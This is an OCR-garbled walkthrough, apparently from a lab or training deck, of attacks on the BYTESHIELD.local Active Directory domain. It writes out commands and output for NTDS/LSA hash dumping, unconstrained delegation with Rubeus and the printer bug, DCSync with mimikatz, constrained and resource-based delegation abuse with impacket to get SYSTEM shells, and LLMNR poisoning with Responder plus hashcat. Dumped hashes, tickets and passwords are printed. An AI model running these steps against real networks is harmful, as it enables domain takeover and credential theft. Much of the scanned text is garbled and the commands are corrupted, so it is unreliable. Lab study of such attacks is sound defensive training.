File Actions Edit View Help
Tga(root@}kali)-[~/windapsearchj
Lo e i e s
e:RO0T-DCO1) (domai
TESHIELD.
[+] BYTESHIELD. 1\sql_service:S.Passwordl! (Pwn3d!)
[+] Dumping
Adm1n15trator‘50@ aad3b435b51h0heeaad3b435b5140hee 7facdc49

B8ed1680c4Td1448319a8c04f &2
10.10.1.13 445 ROOT-DCO1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931
h73¢c59d7e0c089cO :::
10.10.1.13 L4 5 ROOT-DCO1 DefaultAccount:503:aad3b435b51404eecaad3b435b51404ee:31d6cfe
&d16ae931b73c59d7e0c089c0
ERROR: 1 : SAW hashes extraction for user WDAGUtilit

Yo 1051513 4t ROOT-DCO1 [+] Added
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Dumping ntds.dit file co

ntent

proxychains4 -q crackmapexec smb 10.10.1.13 -u sql_service -p 'S.Password1!" --

ntds

recdbul
10 1O . . )
Bedl680c4Tfd1448319a8cO4T 2
t 9191 .3
h73c59d7e0cO89cO :::
10.10.1.
240c94009626a68e¢e
10.10.1.1

ROOI

ee:c74F21ce654235de3429F12d1c1717F0 :::

. A 3 .3 "

Sb51404ece:9d0615b4cbfc6a2cis

1. 1.0.% .1

9059ed

ROOT DCO

dcfl156bo

ROOT D¢

1404ee:832cce4acS54cfs588dfc23c24e120fdb

1O 1 O 1

7, 1
' 5

OO

Q4ee:eB80c276eb849463b4de902493010824C
(1 D:10: 3% 43 v dy !

LO4Lee:320F923cec3dOo3a8fF2FfoO86

327cd2

ROOT

896 :::

( o

[+] BYTESHIELD.local ql ervi S.Passwordil! (Pwn3d!)
[+] Dumpin the NTDS, thi | take ) A 0 20 grab \

Administrator:500:aad3b435b51404eccaad3b435b51404ee:7fFacdc49
Guest:501:aad3b435b51404eccaad3b4a35b51404ece:31d6cfe0dl6ae931
krbtgt:502: aad3b435b51404ccaad3b435b51404ece:cc33e56F29F7F02
BYTESHIELD.local\P.Brown:1105:aad3b435b51404ececaad3b435b5140
BYTESHIELD.local\David.Williams:1106:aad3b435b51404cecaad3b4s
BYTESHIELD.lLlocal\Sql_Service:1107:aad3b435b51404ccaad3b4a35b
BYTESHIELD.local\Joe.Smith:1108:aad3b435b51404cecaad3b435b51

BYTESHIELD.local\Lisa.Jones:1109:aad3b435b51404cecaad3b4a35b5
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Dumping Isa

proxychains4 -q crackmapexec smb 10.10.1.13 -u sql_service -p 'S.Password1!' --Isa

SMBv1: ;0
ROO1T Co1 [+] BY S ELD.lo L\sq er ce:S.Passwort (Pwn3d!)
. ) L4 5 ROOT DCO [.,_] Dumping LSA
0. 3G . 3 45 ROOT-DCO] BYTESHIELD\ROOT DCO1$:aes256-cts-hmac-shal-96:4cd29159c672b

ez0f2ac9e993ake76a81001cac9a9899232fff73cbdeb661eh1
(9.10:1:.313 05 ROOT~-DC®1 BYTESHIELD\ROOT-DCO1$:aesl128-cts-hmac-shal-96:9dca957e58645

f38e3261dae554e0533
10.30.1.3 L4as ROOT-DCO] BYTESHIELD\ROOT-DCO1$:des-cbc-md5:432979751061e04c
2.10.1.13 Liv5 ROOT-DCO1 BYTESHIELD\ROOT-DCO1$:plain_password_hex:7f4a2daabcd2f46f59

L

26a34F4294821Fe24170888cl1241fFaS5be3120e44b50146al14fF6ccatc21829ec27a98d80Ff857723c3f3e8d195672c5blbdoed3a8f503aafs
71445bb711ee894492d411364df60190e917f6bd9%e33ee4e3195669848db6e998b8ebccd9e2bl68421fFf670b0ac4979aa7dé6dcfb32aecl104
4L4ba310786fF442c2ae9e29bd722436777d1afo54d260b364e2deS5c6fFFf4783c3559c5dod1b6f21e0fb261e9491afl1235a5214625b15897682
0e351b8e4d8d499645d734Fdal92732d980d8517530efbd5fFa4278536406d114dc2560958ce755660ad48e38F5277de462b5d7b1b341ea9

067a63b6ecbb393e6e
10.10.1.1 N ROO DCO BYTESHIELD\ROOT-DCO1$:aad3b435b51404ecaad3b435b51404ee:542b

2f531fc6033566a74f790870071h:::
19.19.1.1 445 ROOT-DC®1 dpapi_machinekey:0x78lalca6c31dd9438733205332b68ae5ef464e66

dpapi_userkey: oxa01f186b421b103accffaa67967da8coc0b10a91
10.320.%.313 v 45 ROOT-DCO1 NL$KM: 4229daa309afa6115723e8d88200f11df919b460ed22f6dba320b




KERBEROS UNCONSTRAINE DELEGATION

Unconstrained Delegation Overview

Unconstrained delegation is a feature in the Kerberos authentication protocol that
allows a service to impersonate a user to access resources on behalf of that user. It is
designed to provide a seamless single sign-on experience for users accessing
different services within a network.

The server can cache this ticket in memory and then pretend to be that user for
subsequent resource requests in the domain. If unconstrained delegation is not
enabled, only the user's Ticket Granting Service (TGS) ticket will be stored in memory.
In this case, if the machine is compromised, an attacker could only access the resource
specified in the TGS ticket in that user's context.
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Our initial enumeration shows a computer with unconstrained Delegation enabled

Get-DomainComputer -Unconstrained -Properties name,operatingSystem

LDAP 10.10.1.13 BYTESHIELD\ \P.Brown
Get-DomainComputer -Unconst Lﬂl]rl -Properties name,operatingSystem
name » WIN1OQ-CLIENT-

operatingSystem : Windows 10 EnrcypriSs Evaluation

» ROOT-DCO1

You can see windows 10 appears to be our interesting target
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We can now see that the user has admin rights on the machine configured for
unconstrained delegation

proxychains4 -q crackmapexec smb 10.10.1.0/24 -u p.brown -p 'P.Password1!'

:ROOT-DCO1)
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We can initial RDP connection to the machine

proxychains4 -q xfreerdp /v:10.10.1.5 /u:p.brown /p:'P.Password1!" /dynamic-
resolution

File Actions Edit View Help

(rootss

ylution

failure

Loaded fake backend
Dynamic Virtual Channel

Dynamic Virtual Channel
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Here we go
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Printer bug flaw

The Printer Bug is a flaw in the MS-RPRN protocol (Print System Remote Protocol). This
protocol defines the communication of print job processing and print system
management between a client and a print server. To leverage this flaw, any domain
user can connect to the spools named pipe with the RpcOpenPrinter method and use
the RpcRemoteFindFirstPrinterChangeNotificationEx method, and force the server to
authenticate to any host provided by the client over SMB.

In other words, the Printer Bug flaw can be leveraged to coerce a server to
authenticate back to an arbitrary host. It can be combined with unconstrained
delegation to force a Domain Controller to authenticate to a host we control.
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Running Rubeus to monitor any login, we can wait for any privilege user to log on or
we can leverage printer bug Flaw by using SpoolSample.exe to trigger the exploit

.\Rubeus.exe monitor /interval:5 /nowrap

EN Administrator: Windows PowerShell = O X

PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

17
| |

I/

[*] Action: TGT Monitoring
[*]1] Monitoring every 5 seconds for new TGTs
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Using SpoolSample.exe to trigger the exploit
A\SpoolSample.exe ROOT-DCO1.BYTESHIELD.local Win10-Client-01.BYTESHIELD.local

S C:\Tools> .\SpoolSample.exe ROOT-DCO1.BYTESHIELD.local Win1@-Client-@1.BYTESHIELD.local
[+] Converted DLL to shellcode
[+] Executing RDI

[+] Calling exported function
argetServer: \\ROOT-DC®1.BYTESHIELD.local, CaptureServer: \\Winl®-Client-01.BYTESHIELD.local
Attempted printer notification and received an invalid handle. The coerced authentication probably worked!
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Dumping the ticket

[*])] 12/12/2023 1:10:04 PM UTC - Found new TGT:

User : ROOT-DCOLS@BYTESHIELD. LOCAL

StartTime - 12/12/2023 A4:32:02 AM

EndTime 12/12/2023 2:32:02 PM

RenewlTill - 12/19/2023 A:32:02 AM

Flags - name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket

doTFZ3CCBWKgAWIBBaEDAEEWoOTEXTCOCBF LhgegRVMITEVaADAZEFORIDbDEEIZVEVTSELFTEQUTESDQUY LI TAJoAMCAQKhHDAAGWZremlOZ 30Q
bEEJZVEVISELFTEQUTE9DQUY JEgONMITECaADAEESoQMCAQKIgeEP7BIIDO9 Y 2GlioXexE/ rvvIlcuGneQoesr8S7wWP fDUUtDXZ39xVQ I gWevQKWwu1l
HF jd7pgExI1lLEcOmMIoflQgCa¥YfziMKllLwaphyaNINnVubGtclL jSuZYaA4+RwilyegagqUlMcOKLZB2G3MDamcl1lkaAhRVsoXOs81gDDP/ zQCEXa3U2D Zwikr
[1OhiEBR3ISKGEFHEtCYVENIVIAZ 7 I LMMBERTEMVG2Fba3wEU9FIZIdnS0s i25FD7nLfkThii9pXam@l187rig34sDlgaHM+zTYEiLidAOFq8suGaiaqdii
elVhTyTcsBvZEILISAEdOBSHMZNpegpT2TedRWULADL/fDk3PhkauzdVYGNkphVEBEnWzu/ ghWiZ lFsDYb6hlL +DyxaaSlLpgd iXyG6svihQB/+MzD2Ug5
KEDQI1KkDGDHIOXpyWgmsuzCp 7vDzX7BEnmSRBDuU7wYYZ5ndxXalhaOmhE+e jOZyS9UuRDPNuUvVvKpZCXCpUHy gORIhomgaZWLNYWE / xnfoHo LROpXDVg
NSWwRTArcRWhmLpOwWwMSWwWBP zZifUlLGV1jlaHuprA8lEkxtije7/nl) InhHuG3fv2og i XhwWwWeMmB8UAeOYdcHSIiPMIQQdoPfEt1 12t ijqDNLii9/373gNGzsr]
OMSAULIAKhZYyYUu7YEBNAJiHOWvEgraWloTiWyhWSOWwZonKaIMbG6EVEZ2c19VIRpISydL 7TgfccEnEZO9yvI1qQlY7vwiva8n30CFfsNpzCEI7H+ 31 T8yvindOi12S
OHSgzT0OWYMsoS8p2YuBVWOBqQL20BEtQVGrwUhGKS82likc THxNn+ jeMFSI1PgMvkINSxoIrkzMhM32zN2q2KzAT j1l160TgxxuEqgBSesrqteqtyaWwaWwhor
mGMM3EL3gVOSQSTFOQLV+R Iy ISXWwGWPBI9 TnUAKHVMCW IK7CZ660fFs jLCMNLINZ2A41Fp2irHAYOe2e¢9FviwFVivkAwPdatZzv/onflafGn/ WcO9sSv7/
S3IDLzZzaWoOFK/Eb39tFLLEABAXZ2MhzZMgcOVOTKICulleQnvaVhidOZhMhNhDQGEXolLSqG3 1lnww i8sBAMEWHA4a601VR/ TWIL1AGR8pQOsB8cABagIuCis
OxNz7uSkaA6CyXZLQoWBsS8I2X+ jsIYO8e8DSg7549F 74+EJTCINPpYyvk/1iCtgfAGp7MjeuRRA4OG+ZGdAdZImIARaMjcROQfamuDogpliW2WMy /oBYS01lhvl
m9lAvy ZdzAo/ hPeO5SMGFgfX2LshCQdth251EgolgleKusylqgWAznhymeS8EZ7yNVKISOE+F61L / nmnOmLOHFhKwe 7qlob6UZQYpVrOUsZ8HRFAOGIHhAZ
XXMV xdBRsCIWYSOCbHIigS InhyShbBnkkxQVA7Ue 3AdwzERBaSKy 3VO 1 +WeGYvmbBPOQY /Z+k/kKLQZ2LE6 jgfQuwefGeAwWwIBAKKBEOQSBSN2B4zCBAK
CBRTCB23CB16Ar-MCmgAwWwIBEQEABCBYSTfcEUfHS1IELO9XOI1X2Rg1ISVWX17VMPpsRWFc L1DOVKRKESGXxBCWVRFUOhIRUXEL kxPQOFMohcwFaADAgEBo
QAWDB s KUK9PVC1EQzAX IKMHAWUAYKEAAKURGASYMDI 2MT IxMjEYMz TwMlgmEREPMjAYMZEYMT IyMiMyMDIapxEYDz ITwMiMxMJESMT I zMjAYWQeES
GXBCWVRFUOhIRUXE LkxPQOFMaSUWIGADAZECORWWGhsGa3]idGdoGxBCWVRFUBHhIRUXE LkxPQOFM
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Passing the Ticket
.\Rubeus.exe renew /ticket:dolFZiCCBWKgAwl /ptt

PS C:\Tools> .\Rubeus.exe renew /ticket:doIFZjCCBWKgAwWIBBaEDAgEWooIEXTCCBF1lhggRVMITIEUaADAgEFORIBEEIZVEVTSELIFTEQUTESDQUY1]TAjoAMCAQKhHDA
aGwZreml@Z30bEEIZVEVTSELIFTEQUTESDQUyY jeeQNMITECaADAZESoQMCAQK1ggP7BIID9y2G]i0XcxE/ rvvlcuGn6Qcsr857wVPTDultDXZ39xV(] ] ghevQKWUIHFjd7pgEXI1LE
cQmMIof1QgCa¥Y+ziMK1LwaphyaNInVubclj5uZY4+RwlygagqUlMcOKLZB2G3MDamc1k4hRVsoX@s81gDDP/zQCEXa3U2DZwkrI10hiE6RISK6FHECYVENIVIAYTjLMMBORTEMVG
2Fbg3wEu9FIZIdnS0s325fD7nLfkThii9pXam@187rl1g345D]1gaHM+zTYE1dAOjg8suGajqdjelVhTyTesBvZE11S4EdOBSHM2NpepT2TedRWULAb/ fDk3PhkaudzdVYGNkphVERn
Wzu/ghWiZ1FsDYb6hlL+Dyxaa5LpgdjXy6svihQB/+MzD2Ug5KEDQ1kDGDH1 9XpyligmsuzCp7vDzX7Bnm5RBDU7wYYZ5ndxXaThalmhE+ejQZy9UuRDPnuvKpZ CXCpUHygQRIh6mg
a2WLNYWE /xnfoHolL R@pXDVen SwRT4ArcRWhmLpOwM5wBPz1fU1GV]1jlaHuprA81Ekxtje7n]InhHuG3fv2ogjXhWVcMm8UAeQYdcHSiPMfqQdoPft112tjqDNii9/373gNGzsrTOM
5A4UiAhZyYu7Y8NAIiHOWveralloTikWyWseWZonKaIMbeEVez2c19VIRp1SydL7Tgf ccEnEZ9y1q1Y7vwjv8n30CTsNpzCEI7H+] T8y viNd@12SoH5gz108wYmso8p2YuBVWeBgt3Q
BtQVGrwUheK821ikc THxn+jeMFS1PgMvk INSxoIrkzMhM3zN2g2KzAT j160TgxxuEqBSesrqteqtyaallh®PmGMm3E]13gV05QSTOQLV+RjyI8XwGWPBI9 jnUAKHVMCw]K7Cz660
sjLcMNLin241Fp2]rH4Y@e2e9Fv]wFViVkAwPdatZzv/@nflatGn/Wc95v7s3DLzalWoOFK/Eb39tFLLEABAX2MhzMec@VOTkICuleQnv3Vhid03hMhNhDQGEXoLSqG3 Inwwj8sBA
MeWHAa601Vp/TW146R8p00s8cABagluCjSOxnz 7uSk46CyXZLQoWBs8I2X+]jsIY@8e8D5g7549F7+ETCINpYyk/1iCtqfAGp7MjeuRR4O+7/GdZ ImIARaMjcRQfamuDogqplW2WMy /
08Y901hvim914vyZdzAo/hPeB5MaFgfX2LshCQdth251EgolgleKusylgWAznhyme8E7yNVkI90E+F6 I/ nnQmLOHThKwe 7q1o6UZQYpVroUsZ8HRFA0GIhAIXXxMVWxd8RsCIWYS
0CbHigSInhySbBnkkxQVA7Ue34dwzERBa5Ky3Val+WeGYvmbBPOQy/7+k/klLq2L6jefQuwefGgAwIBAKKBO6QSB5n2B4zCBAKCB3TCB2jCB16ArMCmgAwIBEqQEIBCBYSTCEUTHO1EL
9X01X3Rg1SVWx17VMpsRWFc11DOVKRKESGxBCWVRFUBhIRUXELkxPQ@FMohcwFaADAgEBoQ4wDB sKUk9PVC1EQzAx JKMHAWUAYKEAAKURGABYMDI zMT IxMj EyMz IwM1gmERgPM]A
yMzEyMTIyMjMyMD]IapxEYDz IwMjMxM]j ESMTIzMjAyWqgSGxBCWVRFUBhIRUXELkxPQOFMgSUwI6ADAgZECoRwwGhsGa311dGd@GxBCWVRFUBhIRUXELkxPQBFM /ptt
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Using the Ticket to Perform DCSync Attack aginst David.Williams who is a domain
admin

Isadump::desync /user:david.williams

*S C:\Tools> \Nmimilkat

wunnun mimikats . € y "H1LB2IG2 Feb 29 2020 R U O S5
TS = A La V A " An Coa.aa)
e J N\ un / Hao ] nin DELPY entilkiwi C benjoamin@gentilkiwi . com )
i \ / #n > http://blog.g Cilkiwi.com/: nilkatz
e v e’ Vincent Lt roux C vaince t. letoux@gmail . com )
THBBn " > http://pingcastle. . com /J http://mysmart LOgon . com e

mimilkatzx » lsadump : tdesyne Juser:david._.williams
foC ) BYTESHIELD, local'® will be the domain

[DC ] "ROOT - DCOL . BYTESHIELD. . local'® will be the DC
[DC ) ‘dav f.will " f will - the u r acco vt

Ob nreON : David Williams
L SAM ACCOUNT

Usermname s Daviaid. wa
Princ pal N David.wi @BYTESHIELD. local
I vipe 1OOOOGO USER_oBacctr D
Account Control D 00010200 NORMAL ACCOUNT DONT EXPIRE PASSWD )
xpirat

Password last change = L1/20/2023 6:13:51 AM
Ob t Security 1D P S -1-5-21-2650123447 - 11GE711000 -1 796582875 - 1106
Object Relative ID - 1106

Credentials:
Hash NTLM: 9dO615bAcbfcGalc 149059%adde F1560b0
ntilm ©: DAOGLS5DLACHICHA2CcLA9059addc i 1L56bO
Im D: DB7L7aOa IbL278e IBGTF201 5w 2edAalF2F2d

upp Le tal Credentiols:
* Primary:NTLM-Strong-NTOWE *
(L lom Varlue 3 AF 1 AlBAAIR2Z2 194L5FFobL2ZH1IdaOnfFrSd2n2
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Contrained Delegation OverView

Kerberos Constrained Delegation (KCD) is a feature in the Kerberos
authentication protocol that allows a service to impersonate a user to access
resources on behalf of that user, but with certain constraints. Constrained
Delegation is considered more secure than Unconstrained Delegation
because it limits the services to which a service can delegate user
credentials, reducing the attack surface. However, like any security feature, it
IS essential to configure and manage it correctly.

A Kerberos Constrained Delegation attack refers to scenarios where an
attacker exploits misconfigurations or vulnerabilities in the Constrained
Delegation settings to gain unauthorized access or escalate privileges. The
attack typically involves manipulating the constrained delegation
configuration to extend the attacker's reach beyond what is intended.
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Searching for domain computer configured for constrained delegation

proxychains4 -q impacket-findDelegation BYTESHIELD.local /p.brown:'P.Password 1!’

imp -findDe ion BYTESHIELD.local/p.brown:
.0 - Copyrig 3

AccountName AccountType Jelegat B DelegationRightsTo

WIN1O-CLIENT-01$% Computer Unconstrained

Computer Constrained w/ Pr ol Transition 1dap/ROOT-DC@1.BYTESHIELD.local/
Computer Constrained w/ Pr ol 1t C ] "01.BYTESHIELD.loca
Constrained w/ Pr ol Transition .dap/
.BYTESHIELD. Lo

p/ROOT-DCO1/BYTESHIELD
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Searching for domain computer configured for constrained delegation

Get-DomainComputer -TrustedToAuth

BYTESHIELD\P.Brown
omputer TrustedToAuth
W(_’l SRV
distinguishe - N QLSRV,OU=Domai1nWorkstata
:x(l‘v‘.lll‘.f‘l'_" ) &
name r: SALSRY
objectGUID s $i 04 -5e3(
countce y 1 + WORK® FTON TRUST ACCOUNT

TRUSTED TO AUTH IR DELEGAT
badPwdCount M |
badPasswordTime - 1601-01-01
LastLogof : 1601-01-01
lastLogo : 2023

pwdlLastSe ¢t 2023

1icount
counthName

\ccount |).
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Impersonating Administrator by requesting the TGS of the admin using the machine’s
NTLM hashes and exporting the ticket to our path

proxychains4 -q impacket-getST -spn 'CIFS/ROOT-DCO1.BYTESHIELD.local'
'BYTESHIELD.LOCAL/SQLSRV$' -hashes

00000000000000000000000000000000:7d50f9cd04bfe10bb?00fad74a1508d

4 -impersonate Administrator

export KRBSCCNAME=./Administrator.ccache
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Using the impersonated ticket to spawn system shell on the DC using

Impacket psexec

proxychains4 -q impacket-psexec -k -no-pass
BYTESHIELD.local /Administrator@ROOT-DCO1.BYTESHIELD.local -debug
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Interacting with the DC
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
ROOT-DCO1

C:\Windows\system32> ipconfig

)

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS
IPv4 Address.

Subnet Mask

Default Gateway
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Resource-Based Constrained Delegation

Using BloodHound we discovered that a Group named RBCD has GenericAll rights

nvar Filacarvar naw lat’e aniimarata tha ArAlIn

DOMAIN ADMINS@BYTESHI

/,)]CD GROUPG@BYTESHIELD. LO
o2
ACCOUNT OPERATORSMBYTESHIELD LOCAL

o2
ENTERPRISE ADM:NS(ﬁnBVTESH:EyA{CAL / ; FSERVER, BYTESHIELD.LOGAL

=

KEY ADMINS@MBY TESHIEL LOCAL

ENTERPRISE KEY ADMIN

= ‘il:’ ESHIELD.LOCAL

ADMINISTRATORSEBYTESHIELD. LOCAL
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Also a user named justin.smith has GenericAll rights over the the group, has GenericAll
or GenericWrite over a group allows the principal to add him/herself to the said
group, and every member of that has the same rights over the computer object as the
group

&

ACCOUNT OPERATORS@BYTESHIELD.LOCAL

RBCD GROUPEZBYTESHIELD LOCAL

ENTERPRISE ADMINS@EYTESHIELD LOCAL /

JUSTIN SMITHEBYTESHIELD LOCAL
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Using PowerView Python implementation to add justin.smith to RBCD Group
proxychains4 -q powerview BYTESHIELD /justin.smith:'J.Password 1!'@10.10.1.13
Add-DomainGroupMember -Identity "RBCD Group" -Members "Justin.Smith*

Ef)O(J "\1 ' |"'J

powerview BYTESHIELD/justin.smith:

[2023- 12—12 11:28:21] LDAP Signing NOT Enforced!

LDAP ;ﬂ 10.1.13 ZFIE;1WFLC‘““'**H.%W1TL
DomainGroupMember 1tity "RBCD Group" -Members "Justin.Smith'
-12 11:28:31] User Justln Smith successfully added to RBCD Group
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You can now see justin.smith is a member of the group

Add-DomainGroupMember -ldentity "RBCD Group" -Members "Justin.Smith"

LMNewl

rot
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Since the attack will require creating a new computer object on the domain, let's
check if users are allowed to do it - by default, a domain member usually can add
up to 10 computers to the domain

Get-DomainObiject -Identity "dc=BYTESHIELD,dc=local” -Domain BYTESHIELD.local
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Adding Computer to the Domain

proxychains4 -q impacket-addcomputer -computer-name 'PWNED-PC$' -computer-
pass 'P@sswOrd1!@#' -dc-ip 10.10.1.13 BYTESHIELD.local /justin.smith:'J.Password 1!'

(——(rootﬁ}kali)-[~]
—# proxychainsé impacket-addcomputer
YTESHIELD.local/justin.smith:

wma rehh$ "D TR
»"ll‘;‘}?*{« 2023 Fortre

[*] Successfully added machine account PWNED-PC$ with password P@sswOrdl!Qt.




DOMAIN PRIVILEGE ESCALATION

Verifying if the computer is created

Get- Domquompu’rer PWNED-PC

). 19.2:23 BY SHIELD\I

t~-Doma 1n( umgvul er l"w“r\.!( D

tinguishedNamd

ancelype

ectGuUID
userAccountControl

badPwdCount

rouplpD

objlectSid

¢ oncount

\AccountName . PWNED
SAMAccount ] ¢ r 805306369

objectCategory s N=Computer,CN=5chema,CN=Contaiguration, =BYTESHIELD,
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We need to add this account to the targeted computer's trust list, which is possible
because justin.smith has GenericAll ACL on this computer. We can use the rbcd.py
Python script to do so.

proxychains4 -q python3 rbcd.py -dc-ip 10.10.1.13 -t FILE-SERVER -f PWNED-PC
BYTESHIELD Iocal\\Jus’rm Smith:'J. quswordl !

\Justin.smith

esoure
r LDAP
BYTESHIELD. Loca

> bind OK

1Zz1ing domainDumper
zing LDAPAtta
SECURITY DESCRIPT

nBehalfOfOtherIden
1 reet computer

gation rights modif

I | ATV ) ) { } N TY1
[*] PWNED-PC3H can now
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We can ask for a TGT for the created computer account, followed by a S4U2Self
request to get a forwardable TGS ticket, and then a S4U2Proxy request to get a
valid TGS ticket for a specific SPN on the targeted computer.

proxychains4 -q impacket-getST -spn cifs /FILE-SERVER.BYTESHIELD.local -impersonate
Administrator -dc-ip 10.10.1.13 BYTESHIELD.local /PWNED-PC:'P@sswOrd 1!@#'
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We now have system shell on the file server

export KRB5CCNAME=./Administrator.ccache
proxychalns4 q |mpacke’r psexec -k -no- pass FILE-SERVER.BYTESHIELD.local

yHIELD. L«

on FILE
Ltab e s har ADMTII
g file hTkEhqgco.«
VCN ger on K1

» pPpHLG ©
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Link-local multicast name resolution (LLMNR)
What Is LLMNR?

LLMNR stands for Link-Local Multicast Name Resolution. It is a name resolution service or
protocol used on Windows to resolve the IP address of a host on the same local network when
the DNS server is not available.

LLMNR works by sending a query to all devices across a network requesting a specific
hostname. It does this using a Name Resolution Request (NRR) packet that it broadcasts to all
devices on that network. If there is a device with that hostname, it will respond with a Name
Resolution Response (NRP) packet containing its IP address and establish a connection with the
requesting device.

Unfortunately, LLMNR is far from being a secure mode of hostname resolution. Its main
weakness is that it uses one's username alongside the corresponding password when
communicating
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What are NBNS and LLMNR?

Both NetBIOS Name Server and Local-Link Multicast Name Resolution (NBNS and LLMNR) are protocols that a
Windows computer uses to look for a host on the internal network when a host’s IP address cannot be resolved
through the organizational DNS (Domain Name Server) server. This can be anything from a file server your
machine is trying to map, to a web portal you are trying to access, to even background processes looking for
things like a proxy server. When a Windows computer attempts to connect to another machine over the
network, it follows this basic process:

It checks the local host file. Any machine you have recently talked to is stored in the local host file. This makes it
much faster as no network requests have to be made.

If the host isn’t in your local host file, your computer will then query DNS, which is essentially the phone book of
your network. It contains all the systems and their addresses on the network.

If for some reason DNS doesn’t know where that host is, your computer will send out a NBNS and /or LLMNR
request. This request gets broadcast (or sent to every computer) on the local subnet. Most requests will not
reach this point, especially if your DNS is up to date. However, if you mistype the name of a server, or if the
server doesn’t exist (like a proxy server if your organization doesn’t use one), these requests will be abundant.



DOMAIN PRIVILEGE ESCALATION

Responder is listening

Responder —I| ethO -wd

Author: Laurent Gaffie (laurent.gaffi
To kill this script hit CTRL-C
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Let’s Simulate the attack by going to one of the domain computer and attempt to
type a name that does not exists and observer what happens

I Run >

Type the name of a pregram, folder, docurnent, or Internet

=y resource, and Windows will cpen it for you,

Open: Wdoesnotexist e

QK Cancel EBrowse...

ccess a non-existing name
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This is what we got on responder, we are able to capture Net-Ntlm hashes for the
user joe.smith now let crack the hash offline to get its cleartext, using hashcat




DOMAIN PRIVILEGE ESCALATION

Cracking the hashes with hashcat
.\hashcat.exe -a 0 -m 5600 .\NThashes.txt .\ PasswordList.txt

PS C:\Users\mohas\Desktop\hashcat-6.2.6> .\hashcat.exe 5600 .\NThashes.txt .\PasswordList.txt
;hashcat (vb.2.6) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.
Failed to initialize NVIDIA RTC library.

N* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
CUDA SDK Teoolkit required for proper device support and utilization.
Falling back to OpenCL runtime.

he wordlist or mask that you are using is too small.

his means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

JOE.SMITH: :BYTESHIELD: 287f32948109e3d4:/4dd22f77efdbd3abd5aalb4df48139b:01010000000000000001f4bal42dda01bdc8135b198+4ef2000000000200
0800410048005a00540001001e00570049004e002d003600340034004c00580058005a003000550051004a0004003400570049004e002d003600340034004c005800
58005a003000550051004a002e00410048005a0054002e004c004100430041004c0003001400410048005a0054002e004c004100430041004c000500140041004800
5a0054002e004c004100430041004c00070008000001f4bal42dda010600040002000000080030003000000000000000010000000020000055de9dd9314e8df0ab4/
0b9d751d283904eel326ed30c372b0c1082bdc137d170a0010000000000000000000000000000000000009002400630069006600730021006400610065007 300600
6t007400650078006900/30074007300000000000000000000000000: 3.Passwordl!




DOMAIN PRIVILEGE ESCALATION

Enumerating the user with PowerView Python implementation

proxychalns4 -q powerwew BYTESHIELD /p.brown: Pquswordl '@10.10.1.13

0 ch ! powerview BYTESHIELD/p.brown:
[20)3—1)—12 16:28:46] LDAP Signing NOT Enforced!
LDAP 10.10.1.13 BYTESHIELD\P.Brown
DomailnUser [dentity joe.smith
Joe Smith
: LshedName : CN=Joe Smith,CN=Users,DC=BYTESHIELD, D¢ Local
memberof : CN=IT Admins,CN=Users,DC=BYTESHIELD, D¢ Local
CN=Server Operators,CN=Builtin,DC=I ESHIELD,I
DC=BYTESHIELD, D¢
CN ‘1Nt Operators,CN=Bulltin, D¢ BYTESHIELD,

CN=Backup Operators,CN=Builtin

name g J O« sSsmith
objectGUID - 'f87bef3 3eS5-4402-aedd
) (
wuntControl : NORMA ACCOUNT | 66048
DONT XPIRI PASSWORD
yunt : 0
swordTime

ot




DOMAIN PRIVILEGE ESCALATION

We discovered the users is a member of Backup, Server Operators and a custom
group name IT Admins groups, let’s enumerate the group also

IT Admins Group is linked to GPO which affects DomainWorkstation OU and Domain
Controller

B 4

BYTESHIELD LOCAL

PP ¢

O g e

DOMAINWORKSTATIONS@BYTESHIELD.LOCAL



DOMAIN PRIVILEGE ESCALATION

Group Policy Object
@

= QQMAPNWDTQKSTATIONS@BYTESHIELD.LOCAL

BYTESHIELD.LOCAL

e

DOMAIN CONTROLLERS@BYTESHIELD.LOCAL



DOMAIN PRIVILEGE ESCALATION

| i Vel oS p 1N BT

DOMAIN ADMINS@B A
i »

ADMINISTRATORS@BY,

ENTERPRISE ADMINS@BYTESHIELD.LO

o
SQL_SERVICE@BYTESHIELD.LOCAL

o

ADMINISTRATOR@BYTESHIELD.LOCAL —

DAVID.WILLIAMS@BYTESHIELD.LOCAL — —

{

IT ADMINS@BYTESHIELD LOCAL
o
JOESMITH@BYTESHIELD. L
DOMAIN REP GROUP@BYTES
MICHELLE. SMITH@BYTES

ROOT-DCO1 BYTESHIELD.LOCAL

-
v @

BYTESHIELD.LOCAL



DOMAIN PRIVILEGE ESCALATION

Now let’s check the user’s privilege level using crackmapexec

proxychains4 -q crackmapexec smb 10.10.1.13 -u joe.smith -p 'J.Password 1!’

We have admin right over all the domain workstation including the DC



DOMAIN PRIVILEGE ESCALATION

Now let’s dump the sam databases of all the domain machine including the Domain
Controller

proxychains4 -q crackmapexec smb 10.10.1.0/24 -u joe.smith -p 'J.Password1!" --

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdct98ed1680c4fd1448319a8c04f 2::
Guest:501:aad3b435b51404eecaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089cO :::

[+] Adds - > ‘ . .

[+] ‘ ' '

[+] pi

[+] pi :
Administrator:500:aad3b435b51404eeaad3b435b51404ee: 7 facdc4t98ed1680c4fd1448319a8c04F 1
Guest:501:aad3b435b51404ecaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089¢c0 :::
DefaultAccount:503:aad3b435b51404ccaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0 :::
[+] 3 ' , '
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc4t98ed1680ch4fd1448319a8c04T 12
Guest:501:aad3b435b51404eecaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0 :::
Administrator:500:aad3b435b51404ecaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04F &1
Guest:501:aad3b435b51404ecaad3b435b51404ee:31d6cfe@d16ae931b73¢59d7e0c089¢c0 :::
DefaultAccount:503:aad3b435b51404ceaad3b435b51404ee:31d6cfedd16ae931b73¢c59d7e0c089¢cO :::
